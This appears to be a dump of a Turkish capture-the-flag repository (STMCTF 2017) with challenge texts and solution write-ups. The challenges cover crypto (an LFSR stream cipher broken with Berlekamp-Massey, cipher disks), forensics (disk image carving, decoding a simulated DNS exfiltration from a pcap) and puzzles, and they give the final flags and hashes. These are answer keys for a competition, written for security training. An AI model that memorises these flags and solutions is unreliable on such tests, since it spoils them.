19 | 4.Rar dosyasının içeriğinde aşağıdaki metin ve disk.jpg dosyası vardır.
20 |
21 | “mqzkqp{lnonenltptkeqxote}”
22 |
23 | 
24 |
25 | 5.Resimde bir Alberti Diski örneği vardır ve A harfi E ile, B harfi G ile yer değiştiği görülür. Elle ya da şu adresten rahatlıkla çözülebilir http://goto.pachanka.org/crypto/alberti-cipher-disk/
26 | 
27 |
28 | 6.Çözüldükten sonra çıkan metin şu şekildedir “STMCTF{DEREAEDIFICATORIA}”.
29 |
30 | 7.De Re Aedificatori, Alberti Leon Battista tarafından yazılan ve Rönesans dönemi mimarisinin en önemli kitaplarından biridir.
31 |
32 | 8.Dolayısıyla panele girilmesi gereken flag değeri MD5(STMCTF{DEREAEDIFICATORIA}) = 0d6c1aea74d30fdb5fb488f08d3e3375 ‘dir.
33 |
--------------------------------------------------------------------------------
/CRYPTO/DiskYuvarlakKodKare/d02f7fa78908987a9460a4decbb1a927.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/d02f7fa78908987a9460a4decbb1a927.png
--------------------------------------------------------------------------------
/CRYPTO/DiskYuvarlakKodKare/disk1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/disk1.png
--------------------------------------------------------------------------------
/CRYPTO/DiskYuvarlakKodKare/disk2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/disk2.png
--------------------------------------------------------------------------------
/CRYPTO/DiskYuvarlakKodKare/disk3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/disk3.png
--------------------------------------------------------------------------------
/CRYPTO/DiskYuvarlakKodKare/f93f75f8cae4a51cdd9b491a7c11c69d.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DiskYuvarlakKodKare/f93f75f8cae4a51cdd9b491a7c11c69d.zip
--------------------------------------------------------------------------------
/CRYPTO/LFSR64/1368bcdb1fd305416757edbe85a35843.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/LFSR64/1368bcdb1fd305416757edbe85a35843.zip
--------------------------------------------------------------------------------
/CRYPTO/LFSR64/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: LFSR64
3 |
4 | ## Soru Metni:
5 | Düşman hatlarından gelen son mesajı bir türlü çözemiyoruz. Açık mesaj anahtarla XOR’lanmış ve anahtar olarak da 64 bitlik bir LFSR çıktısı kullanılmış. Ancak ne polinomu ne de LFSR’ın ilk değerini (seed) biliyoruz. Bildiğimiz tek şey açık mesajın ilk 16 karakterin “bugunhavagunesli” olduğu. Mesajın geri kalanını da çözmemiz lazım!
6 | 1368bcdb1fd305416757edbe85a35843.zip
7 |
8 | ## Çözüm:
9 |
10 | 1.Bu soru derin bir kriptografi bilgisi gerektirdiğinden kripto bölümündeki zor gözüken ve pek dokunulmayan sorulardan bir tanesiydi.
11 |
12 | 2.Soruda anahtar üreteci olarak 64 bitlik LFSR (Linear Feedbach Shift Register) kullanıldığı belirtilmekte. Bu üreteç doğrusal olduğundan üretecin ilk değeri ve polinomu bilinmese de 128 bitlik ardışık çıktısı biliniyorsa Berlekamp-Massey algoritması ile aynı diziyi üreten en küçük LFSR bulunabilir. Yarışmanın ilerleyen bölümlerinde bu algoritma bu ipucu olarak verildi.
13 |
14 | 3.Açık mesajın ilk 16 karakteri (128 bit) hali hazırda verilmiş. Bu durumda açık mesajın ilk 128 biti;
15 |
16 | m(0,128) = bugunhavagunesli = 01100010011101010110011101110101011011100110100001100001011101100110000101100111011101010110111001100101011100110110110001101001
17 |
18 | olur. Dolayısıyla cipher’ın ilk 128 biti ile xorlanırsa, LFSR’ın ilk 128 bitlik çıktısı şu şekilde bulunur.
19 |
20 | anahtar(0,128) = m(0,128) ^cipher(0,128) =
21 | 01100000101010100110101011100101010100010010010101010000101010100110010010000010001010001111000100111001101100111000011000000110
22 |
23 | 4.Bu diziyi üreten polinom Berlekamp-Massey algoritması ile x^64 + x^55 + x^30 + x^3 + 1 olarak bulunur.
24 |
25 | 
26 |
27 | Polinom yardımıyla dizinin tamamı üretilerek açık mesaj bulunur.
28 | m = 01100010011101010110011101110101011011100110100001100001011101100110000101100111011101010110111001100101011100110110110001101001010100110101010001001101010000110101010001000110011110110100001101010100010001100101111101101001011000110110100101101110010111110110111001100101010111110110011101110101011110100110010101101100010111110110001001101001011100100101111101100111011101010110111001111101
29 |
30 | m = bugunhavagunesliSTMCTF{CTF_icin_ne_guzel_bir_gun}
31 |
32 | MD5(STMCTF{CTF_icin_ne_guzel_bir_gun})=6B86E64B15DA1CB9BE2369355DBCB222
33 |
--------------------------------------------------------------------------------
/CRYPTO/LFSR64/lsfr1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/LFSR64/lsfr1.png
--------------------------------------------------------------------------------
/CRYPTO/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/CRYPTO/SAtheDarknight/439eec60a5ce2520a4078dac350c6e4b.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/439eec60a5ce2520a4078dac350c6e4b.zip
--------------------------------------------------------------------------------
/CRYPTO/SAtheDarknight/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: ŞA the DARKNIGHT
3 |
4 | ## Soru Metni:
5 | Alfred Batman’e ulaştırmak istediği dosyaları ziplerek saklıyormuş. Ama kendisi akıllı olduğu için flag.zip parolasını en az 60 karakter falan vermiş. Verilen .mpeg dosyasının içindeki bilgiler bilmediğimiz bir şifreleme yöntemiyle kriptolanmış ve/veya içinde bilgi kodlanmıştır. Pes etme ve içerdiği mesajı bul.
6 | 439eec60a5ce2520a4078dac350c6e4b.zip
7 | flag.zip
8 |
9 | ## Çözüm:
10 |
11 | 1.Verilen darknight.mpeg dosyası strings komutu ile incelenir.
12 | 
13 |
14 | 2.Elde edilen binary code text haline dönüştürülür. Çıkan text aşağıda gösterilmiştir.Yapısından bir Base64 kodu olduğu anlaşılır.
15 | 
16 |
17 | 3. Elde edilen bu çıktı decode edildiğinde bu kez aşağıdaki gibi bir metinle karşılaşılır.
18 | 
19 |
20 | 4. Bu aşamada elde edilen metin anahtarsız CEASER-13(ROT13) şifreleme algoritmasıyla decrypt edilir ve aşağıdaki açık metne kavuşulur.
21 | 
22 |
23 | 5.Bu noktada BatmanveRobin sha256 hash değeri alınarak flag’i içeren zip dosyasının parolası bulunur.
24 |
25 | $ echo -n "BatmanveRobin" | sha256sum
26 | 4e490270fa48fb14365e0a326711f158814d8e634e624f172c7ba0b146fe76b0
27 |
28 | 6.Flag.txt açıldığında nihai flagin aşağıda gösterilen değer olduğu bulunur.
29 |
30 | STMCTF{Gotham_artik_daha_guvenli!}
31 |
32 | EEF1795A3A93F66AEBC067880783B1FB
33 |
34 |
--------------------------------------------------------------------------------
/CRYPTO/SAtheDarknight/dk1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk1.png
--------------------------------------------------------------------------------
/CRYPTO/SAtheDarknight/dk2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk2.png
--------------------------------------------------------------------------------
/CRYPTO/SAtheDarknight/dk3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk3.png
--------------------------------------------------------------------------------
/CRYPTO/SAtheDarknight/dk4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/dk4.png
--------------------------------------------------------------------------------
/CRYPTO/SAtheDarknight/flag.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/SAtheDarknight/flag.zip
--------------------------------------------------------------------------------
/FOR/DerinArastirma/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: Derin Araştırma
4 |
5 | ## Soru Metni:
6 |
7 | Kaynağı belirsiz bir yazılımın indirilmesi sonucu makinelerin birinde zararlı aktivite ile karşılaşılmıştır. Derin bir araştırma sonucu dosya sisteminden zararlı aktiviteye sebep olan yazılımı bulup bayrağı yakalayabilecek misin?
8 | 0d4b03de6ec80c61b2e90213b6d4ce8e.zip
9 |
10 | ## Çözüm:
11 |
12 | 1.Strings komutuyla disk.dump dosyasın raw formatlı olduğunu bulduktan sonra. Dosya sistemi analiz araçları kullanılarak, sırasıyla dos formatı, block-size 512-byte sektör olduğu bulunur. İncelenmek istenen disk alanının NTFS formatlı ve başlangıç değerinin 63 olduğu anlaşılır.
13 |
14 | 
15 |
16 | 2.Fls komutu vasıtasıyla dosya tablolarının timeline’ı oluşturulur. Mactime ile dosya düzeni bulunur.
17 |
18 | 
19 |
20 | 
21 |
22 | 3.Aranan dosyanın Kullanıcı klasörü içerisinde yer alan tftpd.zip dosyası olduğu anlaşılır.
23 |
24 | 
25 |
26 | 4.Tam adresi alındıktan sonra raw formatlı dosya içerisinden icat vasıtasıyla çıkartılır.
27 |
28 | icat disk.dump -o 63 -i raw -f ntfs -b 512 11515-128-3 > tftpd.zip
29 |
30 | 5.Sıkıştırılmış dosya açıldıktan sonra strings komutu ile bayrak bulunur.
31 |
32 | 
33 |
--------------------------------------------------------------------------------
/FOR/DerinArastirma/der1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der1.png
--------------------------------------------------------------------------------
/FOR/DerinArastirma/der2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der2.png
--------------------------------------------------------------------------------
/FOR/DerinArastirma/der3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der3.png
--------------------------------------------------------------------------------
/FOR/DerinArastirma/der4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der4.png
--------------------------------------------------------------------------------
/FOR/DerinArastirma/der5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/DerinArastirma/der5.png
--------------------------------------------------------------------------------
/FOR/FarkiBul/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Farkı Bul
3 |
4 | ## Soru Metni: Flag resmin içinde. Kendi kendine kilitlenip açılan killit buldum.
5 | c214364ee8d366a4170337c5216f498c.zip
6 |
7 | ## Çözüm:
8 | 1.lock-a ve lock-b png dosyalarının piksel olarak farkını aldığımızda decryption için işimize yarayacak olan anahtarı görüyoruz.
9 | 
10 |
11 |
12 | 2.Aynı resim dosyalarının meta bilgilerinden part_1 ve part_2 olarak ciphertext elde ediliyor. Örnek komut: “exiftool lock-a.png”
13 | 
14 |
15 |
16 | 3.Şu ana kadar elde ettiğimiz bilgileri ve lock.png’de açık olarak görünen IV değerini kullanarak decryption işlemini gerçekleştirip flag’i elde ediyoruz.
17 | 
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/FOR/FarkiBul/c214364ee8d366a4170337c5216f498c.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/c214364ee8d366a4170337c5216f498c.zip
--------------------------------------------------------------------------------
/FOR/FarkiBul/fark1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/fark1.png
--------------------------------------------------------------------------------
/FOR/FarkiBul/fark2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/fark2.png
--------------------------------------------------------------------------------
/FOR/FarkiBul/fark3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/FarkiBul/fark3.png
--------------------------------------------------------------------------------
/FOR/KarakoyMuhallebicisi/41795a29a6d369da13d9bbc086008ca1.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/41795a29a6d369da13d9bbc086008ca1.zip
--------------------------------------------------------------------------------
/FOR/KarakoyMuhallebicisi/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: Karakoy Muhallebicisi
2 |
3 | ## Soru Metni:
4 | Sisteme sızan bir saldırganın veri kaçırdığını farkettik. Ekteki ağ trafik kaydını inceleyerek, kaçırılan veriyi bulmakta bize yardımcı olur musun?
5 |
6 | 41795a29a6d369da13d9bbc086008ca1.zip
7 |
8 | ## Çözüm:
9 |
10 | 1. Wireshark ile inceledigimiz zaman dns trafigini olusturan subdomainlerin anlam ifade etmeyen karakterler olustugunu tespit ediyoruz.
11 |
12 | 2. Bu DNS paketlerindeki 213.74.41.50 ile olan trafigin yapisi XXX.YYY seklinde oldugu anlasilir.
13 |
14 | ```“5140 56.127685403 172.16.196.137 → 172.16.196.138 DNS 92 Standard query 0x6971 A AYLEMRUXI2.LPNYQHI3ZA OPT”```
15 |
16 | 3. Tshark ile DNS trafigi filtrelenerek text dosyasina aktarilir.
17 |
18 | ```tshark -n -r karakoy.pcapng -Y 'dns' > dns.txt```
19 |
20 | 4. 213.74.41.50 IP adresi ile iletisim filtrelenerek supheli kisim ayri bir text dosyasina aktarilir.
21 |
22 | ```cat dns.txt | grep '213.74.41.50' | cut -d' ' -f14 > dns2.txt```
23 |
24 |
25 | 5. Text dosyasindaki “.” karakterleri cikarilir.
26 |
27 | ```tr -d '.' < dns2.txt > dns3.txt```
28 |
29 | 
30 |
31 |
32 | 6. Text dosyasindaki “.” karakterleri cikarilir.
33 |
34 | ```tr -d '\n' < dns3.txt > dns4.txt```
35 |
36 | 
37 |
38 |
39 |
40 | #Cikan karakterler analiz edildiginde. Base32 encode edildigi ortaya cikmaktadir.
41 | #base32 -d komutu ile decode edilmektedir.
42 |
43 | ```base32 -d dns4.txt | grep STMCTF```
44 | 
45 |
--------------------------------------------------------------------------------
/FOR/KarakoyMuhallebicisi/kar1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/kar1.png
--------------------------------------------------------------------------------
/FOR/KarakoyMuhallebicisi/kar2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/kar2.png
--------------------------------------------------------------------------------
/FOR/KarakoyMuhallebicisi/kar3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/KarakoyMuhallebicisi/kar3.png
--------------------------------------------------------------------------------
/FOR/Kostebek/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Köstebek
3 |
4 | ## Soru Metni:
5 |
6 | Şirketimizde önemli veri sızıntıları yaşandı. Ağ paketlerini inceleyerek kaçırılan veriyi bulmanı istiyoruz!
7 | ac6b6864c2dc3978c0a6a8cdba239dcd.zip
8 |
9 | ## Çözüm:
10 |
11 | 1. network_analysis.pcapng dosyası wireshark vasıtasıyla açılır. Objeler seçeneğinden HTTP objeleri içerisinde yer alan confidential.zip dosyası kaydedilir. Dosyanın şifreli olduğu anlaşılır.
12 |
13 | 
14 |
15 | 2. Ağ paketleri içerisinde XMPP ağ paketleri içerisinde yer alan mesajlaşmalar dikkatli incelenerek, şifre bulunur. Mesajlaşmalarda geçen ‘’ işaretlerinde yer alan kelimeler peşi sıra eklenir.
16 |
17 | 
18 |
19 | 3. Şifre girildikten sonra confidential.txt dosyası içerisinde bayrak bulunur.
20 |
21 | 
22 |
--------------------------------------------------------------------------------
/FOR/Kostebek/kostebek1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/Kostebek/kostebek1.png
--------------------------------------------------------------------------------
/FOR/Kostebek/kostebek2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/Kostebek/kostebek2.png
--------------------------------------------------------------------------------
/FOR/Kostebek/kostebek3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/FOR/Kostebek/kostebek3.png
--------------------------------------------------------------------------------
/FOR/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/MISC/AdresiBul/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Adresi Bul
3 |
4 | ## Soru Metni:
5 |
6 | Bir hacker dünya çapında web ve mobil uygulamalarını daha güvenli hale getirmek için çalışan ve top 10 zafiyetleri yayınlayan organizasyonun sitesini ele geçiriyor. Yetkililer sunucunun nasıl ele geçirildiğini tespit edemiyor ve atağın zero day olabileceğini söylüyor. Tüm güvenlik araştırmacıları yeni bir yöntem olduğunu ve bunu acilen bilinmesi gerektiğini belirtiyor. Zafiyet tespiti için de sunucunun fiziksel adresine erişmek gerekiyor Size düşen ise sunucudan dönen fiziksel adresin olduğu bulvarın ismini bulmak. Bayrak için ipucu STMCTF{\*_*_Blvd}
7 |
8 | Soruyu hazırlayan: [Ş]
9 |
10 |
11 | ## Çözüm:
12 |
13 | 1. Dünya çapında web ve mobil uygulama güvenliğini arttırmak için çalışan ve top 10 zafiyetleri yayınlayan organizasyon www.owasp.org olarak düşünülür.
14 |
15 |
16 |
17 | 2. nslookup www.owasp.org sorgusu yapılır. IP 104.130.219.202 olarak bulunur.
18 | 
19 |
20 | 3. Burada istenen fiziksel adres sunucudan dönen ‘loc’ bilgisidir. İstenilen IP’den dönen fiziksel adresi bulabilmek için çeşitli yöntemlerden biri uygulanır. Loc ekran görüntüsündeki gibi bulunur.
21 |
22 | 
23 |
24 |
25 | 4. Bulunan koordinat bilgisi Google maps’te aranarak hedef bulunmaya çalışılır.
26 | 
27 |
28 | 5. Hedefe ulaşılır. Soruda da ipucu olarak verilen {\*_*_Blvd} şekilde adres bulunur. Center Park Blvd
29 | 
30 |
31 | Bulunan adres STMCTF bayrak formatına göre md5 değeri bulunur.
32 |
33 | $echo -n 'STMCTF{Center_Park_Blvd}' | md5sum
34 |
35 | 2a14c77547e08e867c98af69465c62e7
36 |
37 |
--------------------------------------------------------------------------------
/MISC/AdresiBul/adr1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr1.png
--------------------------------------------------------------------------------
/MISC/AdresiBul/adr2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr2.png
--------------------------------------------------------------------------------
/MISC/AdresiBul/adr3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr3.png
--------------------------------------------------------------------------------
/MISC/AdresiBul/adr4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/AdresiBul/adr4.png
--------------------------------------------------------------------------------
/MISC/DijitalDunyadanCik/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Dijital Dünyadan Çık
3 |
4 | ## Soru Metni:
5 |
6 | Flag bu sefer dijital dünyada değil üzerinde.
7 |
8 | ## Çözüm:
9 |
10 |
11 | 1. Yarışmacılara verilen yaka kartlarının arkasında flag hexadecimal encode edilmiş şekilde yer almaktadır. Sadece 4. Satırdaki değer padding olarak verilmiştir.
12 |
13 | 53544D4354467B59346B615F4B34722B696E
14 |
15 | 495F443468615F436F304C5F59347074696B
16 |
17 | 5F30796C655F56337264696B5F53697A657D
18 |
19 | 0123456789ABCDF0123456789ABCDF012345
20 |
21 |
22 | 2. hex(Flag) = 53544d4354467b59346b615f4b34722b696e495f443468615f436f304c5f59347074696b5f30796c655f56337264696b5f53697a657d
23 |
24 | Flag = STMCTF{Y4ka_K4r+inI_D4ha_Co0L_Y4ptik_0yle_V3rdik_Size} = 2703A91D45233D0729B5099ED787B5DD
25 |
--------------------------------------------------------------------------------
/MISC/IcimYandi/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: {içim yandı}
4 |
5 | ## Soru Metni:
6 |
7 | Sadece resim. Sana verebileceğim tek şey bu.
8 |
9 | 
10 |
11 | ## Çözüm:
12 |
13 |
14 | 1. Fotoğrafın contrast ayarlarıyla oynadıktan sonra aşağıdaki gibi binary formatta ipucu saklanmıştı.
15 |
16 | 
17 |
18 | 2. Binary decode ettiğimizde “Siz hala su icmediniz mi? :)” mesajı ile karşılaşıyoruz.
19 |
20 | 
21 |
22 |
23 | 3. Daha sonra masaya dağıtılan su şişesini incediğimizde jelatinin arkasında “STEG PASS: 552-745” yazılı stickerı farketmemiz bekleniyordu.
24 |
25 | 
26 |
27 | 4. Steghide aracını kullanarak flagimizi bulabilirdik.
28 |
29 | 
30 |
--------------------------------------------------------------------------------
/MISC/IcimYandi/b6d4575a18de06e94ae0b06c0b4115b7.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/b6d4575a18de06e94ae0b06c0b4115b7.jpg
--------------------------------------------------------------------------------
/MISC/IcimYandi/ic1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic1.png
--------------------------------------------------------------------------------
/MISC/IcimYandi/ic2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic2.png
--------------------------------------------------------------------------------
/MISC/IcimYandi/ic3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic3.png
--------------------------------------------------------------------------------
/MISC/IcimYandi/ic4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/IcimYandi/ic4.png
--------------------------------------------------------------------------------
/MISC/KarisikKaset/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: Karışık Kaset
2 |
3 | ## Soru Metni:
4 |
5 | Şifreli görüşen iki casus arasındaki internet trafiğini kopyalamayı başardık. Ama PCAP dosyasından sadece bu dosya çıktı. Başta önemsemedik de bir mp3 dosyasında 35 tane şarkı olması bize biraz garip geldi. Hacker kulaklarını kullanarak şu dosyayı analiz eder misin?
6 |
7 | ## Çözüm:
8 |
9 | 1. Bu soruda yaklasik 13 dakikalik bir MP3 dosyasi icerisinde flag bulunmaya calisildi.
10 | Sorudaki "Hacker kulaklarını kullan" ifadesi ve yarisma esnasinda "Mr. Robot'da Elliot'in yaptığı kadar karışık degil. Basit düşün." ipucu ile sorunun Steganografi sorunu olmadigini anliyoruz.
11 |
12 | 2. Ipuclari arasinda yer alan "Music Discovery, Charts & Song Lyrics", Google'da araninca ilk sirada Shazam cikiyor.
13 | Bu ipucu verilmeden once de karisikkaset.mp3 dosyasi ffprobe ile incelendiginde bazi ipuclari karsimiza cikiyor.
14 |
15 | 
16 |
17 |
18 | 3. Shazam ile her şarkı değişiminde şarkının adı bulunabiliyor. Sarkı isimlerinin baş harfleri sıralandığında FLAG ortaya çıkıyor.
19 | Gerisi şarkı isimlerinin baş harflerini yan yana yazmak.
20 |
21 | 
22 |
23 |
24 | ```
25 | S She and Her Darkness - Diary of Dreams
26 | T T.N.T. - AC/DC
27 | M Mjød - Kvelertak
28 | C Crawling (Official Video) - Linkin Park
29 | T Toy Yillar - TINI
30 | F FaceSlap! - Antisilence
31 | { { - Stories In Red
32 | S So Far Away - Dire Straits
33 | T This Is the Life - Amy Macdonald
34 | 3 3000 - David Duchovny
35 | G Göreceksin Kendini - Nilüfer
36 | A Absolute Zero - Stone Sour
37 | N N'olur N'olur N'olur - Yasemin Mori
38 | O One for the Road - Saints 'N' Sinners
39 | _ _ - Nell
40 | Y Your Dreams Won't Die - Magnum
41 | A Alagözlerini Sevdigim Dilber - Badem
42 | L La Grange - ZZ Top
43 | A Anatolia (Version 1) - Pentagram
44 | N Nomad - Sepultura
45 | + + - Of Mice & Men
46 | M Ma Baker - Boney M
47 | U Umrumda Değil - Sokak Köpekleri
48 | 2 2 Minutes To Midnight (1998 Remaster) - Iron Maiden
49 | I ICH TU DIR WEH - Rammstein
50 | K Killing Me Killing You - Sentenced
51 | ! ! - Batfoot!
52 | S Song 2 - Blur
53 | A All of Me - John Legend
54 | H Hatıralar - Mirkelam
55 | A Angry Son - Radical Noise
56 | N No Regrets - Edith Piaf
57 | E Electric Worry - Clutch
58 | . . . . - Wolverine
59 | } } - Stories In Red
60 |
61 | ```
62 | FLAG: STMCTF{ST3GANO_YALAN+MU2IK!SAHANE.}
63 |
--------------------------------------------------------------------------------
/MISC/KarisikKaset/karisikkaset1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/KarisikKaset/karisikkaset1.png
--------------------------------------------------------------------------------
/MISC/KarisikKaset/karisikkaset2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/KarisikKaset/karisikkaset2.png
--------------------------------------------------------------------------------
/MISC/NURELLA/67b99362ffe51662399a5c2bad15e284.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/67b99362ffe51662399a5c2bad15e284.jpg
--------------------------------------------------------------------------------
/MISC/NURELLA/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: NURELLA
4 |
5 | ## Soru Metni: 67b99362ffe51662399a5c2bad15e284.jpg
6 |
7 | 
8 |
9 | ## Çözüm:
10 | 1. Yarışmacı verilen resmin metadatsına exiftool ile baktığında comment bölümünde yazan hex stringi buluyor:
11 | 
12 |
13 | 2. Sorunun ismi NURELLA ve resimde yazan da ÇAREniz NURELLA şeklinde algılanabilir.
14 | 3. Bulunan hexadecimal string “NURELLA” ile XORlandığında flag bulunuyor.
15 | 4. NURELLA yı hexadecimale çeviriyoruz: 4e5552454c4c41
16 | 5. Bulunan hexadecimal değer 70 karakterli NURELLA nın hexadecimali ise 14 karakter. Bu nedenle NURELLA nın hexadecimal değerini 5 kere yazıyoruz ve bu şekilde XOR luyoruz.
17 | 
18 |
19 | 6. Bulunan hexadecimal değeri (53544d4354467b41795f6e655f4b344434725f5933725f79416e6469213f213f213f7d) ASCII ye çevirdiğimizde flag i elde ediyoruz:
20 |
21 | 
22 |
23 | Flag = STMCTF{Ay_ne_K4D4r_Y3r_yAndi!?!?!?} = 8FBDA0AAC22A1602DF86FBC761E56AA0
24 |
--------------------------------------------------------------------------------
/MISC/NURELLA/nur1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/nur1.png
--------------------------------------------------------------------------------
/MISC/NURELLA/nur2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MISC/NURELLA/nur2.png
--------------------------------------------------------------------------------
/MISC/NURELLA/nur3.png:
--------------------------------------------------------------------------------
